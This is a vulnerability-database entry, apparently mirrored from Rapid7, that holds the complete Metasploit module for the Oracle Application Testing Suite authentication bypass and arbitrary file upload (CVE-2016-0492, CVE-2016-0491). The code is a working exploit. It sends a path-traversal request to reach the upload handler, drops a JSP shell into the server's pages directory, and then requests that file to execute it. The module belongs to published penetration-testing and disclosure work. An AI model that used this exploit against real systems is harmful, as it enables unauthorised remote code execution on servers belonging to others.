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Oracle ATS Arbitrary File Upload

🗓️ 20 Jan 2016 00:00:00Reported by Zhou Yu, wvu <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 27 Views

Oracle ATS Arbitrary File Upload allows authentication bypass and arbitrary file upload, enabling execution of a JSP shell

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Oracle ATS Arbitrary File Upload',
        'Description' => %q{
          This module exploits an authentication bypass and arbitrary file upload
          in Oracle Application Testing Suite (OATS), version 12.4.0.2.0 and
          unknown earlier versions, to upload and execute a JSP shell.
        },
        'Author' => [
          'Zhou Yu', # Proof of concept
          'wvu'      # Metasploit module
        ],
        'References' => [
          %w[CVE 2016-0492], # Auth bypass
          %w[CVE 2016-0491], # File upload
          %w[EDB 39691]      # PoC
        ],
        'DisclosureDate' => '2016-01-20',
        'License' => MSF_LICENSE,
        'Arch' => ARCH_JAVA,
        'Privileged' => true,
        'Targets' => [
          ['OATS <= 12.4.0.2.0 (Windows)', { 'Platform' => 'win' }],
          ['OATS <= 12.4.0.2.0 (Linux)', { 'Platform' => 'linux' }]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      Opt::RPORT(8088)
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/admin/Login.do'
    )

    if res && res.body.include?('12.4.0.2.0')
      CheckCode::Appears('The target appears to be vulnerable based on the response')
    else
      CheckCode::Safe('The target is not vulnerable')
    end
  end

  def exploit
    print_status("Uploading JSP shell to #{jsp_path}")
    upload_jsp_shell
    print_status("Executing JSP shell: #{full_uri}olt/pages/#{jsp_filename}")
    exec_jsp_shell
  end

  def upload_jsp_shell
    mime = Rex::MIME::Message.new
    mime.add_part('.jsp', nil, nil, 'form-data; name="storage.extension"')
    mime.add_part(jsp_filename, nil, nil, 'form-data; name="fileName1"')
    mime.add_part('', nil, nil, 'form-data; name="fileName2"') # Not needed
    mime.add_part('', nil, nil, 'form-data; name="fileName3"') # Not needed
    mime.add_part('', nil, nil, 'form-data; name="fileName4"') # Not needed
    mime.add_part('*', nil, nil, 'form-data; name="fileType"')
    mime.add_part(payload.encoded, 'text/plain', nil,
                  %(form-data; name="file1"; filename="#{jsp_filename}"))
    mime.add_part('Default', nil, nil, 'form-data; name="storage.repository"')
    mime.add_part('.', nil, nil, 'form-data; name="storage.workspace"')
    mime.add_part(jsp_directory, nil, nil, 'form-data; name="directory"')

    register_file_for_cleanup(jsp_path)

    send_request_cgi(
      'method' => 'POST',
      'uri' => '/olt/Login.do/../../olt/UploadFileUpload.do',
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => mime.to_s
    )
  end

  def exec_jsp_shell
    send_request_cgi(
      'method' => 'GET',
      'uri' => "/olt/pages/#{jsp_filename}"
    )
  end

  def jsp_directory
    case target['Platform']
    when 'win'
      '..\\oats\\servers\\AdminServer\\tmp\\_WL_user\\oats_ee\\1ryhnd\\war\\pages'
    when 'linux'
      '../oats/servers/AdminServer/tmp/_WL_user/oats_ee/1ryhnd/war/pages'
    end
  end

  def jsp_filename
    @jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
  end

  def jsp_path
    jsp_directory + "#{target['Platform'] == 'win' ? '\\' : '/'}" + jsp_filename
  end
end

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